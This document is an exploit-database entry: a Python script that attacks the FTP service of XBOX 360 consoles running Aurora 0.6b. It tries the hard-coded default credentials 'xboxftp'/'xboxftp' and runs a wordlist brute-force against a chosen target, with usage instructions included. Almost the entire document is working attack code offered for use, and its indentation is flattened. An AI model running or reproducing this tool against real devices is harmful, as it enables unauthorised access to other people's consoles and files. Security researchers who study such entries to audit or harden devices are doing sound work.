# Exploit Title: XBOX 360 Aurora 0.6b Default Credentials / FTP BruteForce
# Date: 20/12/2017
# Exploit Author: Daniel Godoy
# Vendor Homepage: http://phoenix.xboxunity.net/#/news
# Tested on: XBOX 360
# GREETZ: Iker Legorreta, #RemoteExecution Team
#!/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'Daniel Godoy'
import argparse
import sys
from ftplib import FTP
info = '''
XBOX 360 Aurora 0.6b Default Credentials / FTP BruteForce\n
Usage: ./xbox_ftp_brute_forcer.py [options]\n
Options: -t, --target <hostname/ip> | Target\n
-u, --user <user> | User\n
-w, --wordlist <filename> | Wordlist\n
-h, --help <help> | print help\n
Example: ./xbox_ftp_brute_forcer.py -t 192.168.1.1 -u root -w
/root/Desktop/wordlist.txt
'''
def help():
print info
sys.exit(0)
def check_default_login(target):
try:
ftp = FTP(target)
ftp.login('xboxftp', 'xboxftp')
ftp.quit()
print "\n[+] Default login is open."
print "\n[+] Username : xboxftp"
print "\n[+] Password : xboxftp\n"
ftp.quit()
except:
pass
def ftp_login(target, username, password):
try:
ftp = FTP(target)
ftp.login(username, password)
ftp.quit()
print "\n[*] Credentials have found."
print "\n[*] Username : {}".format(username)
print "\n[*] Password : {}".format(password)
return True
except:
return False
def brute_force(target, username, wordlist):
try:
wordlist = open(wordlist, "r")
words = wordlist.readlines()
for word in words:
word = word.strip()
if ftp_login(target, username, word):
break
except:
print "\n[-] There is no such wordlist file. \n"
sys.exit(0)
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target")
parser.add_argument("-u", "--username")
parser.add_argument("-w", "--wordlist")
args = parser.parse_args()
if not args.target or not args.username or not args.wordlist:
help()
sys.exit(0)
target = args.target
username = args.username
wordlist = args.wordlist
brute_force(target, username, wordlist)
check_default_login(target)
print "\n[-] Brute force finished. \n"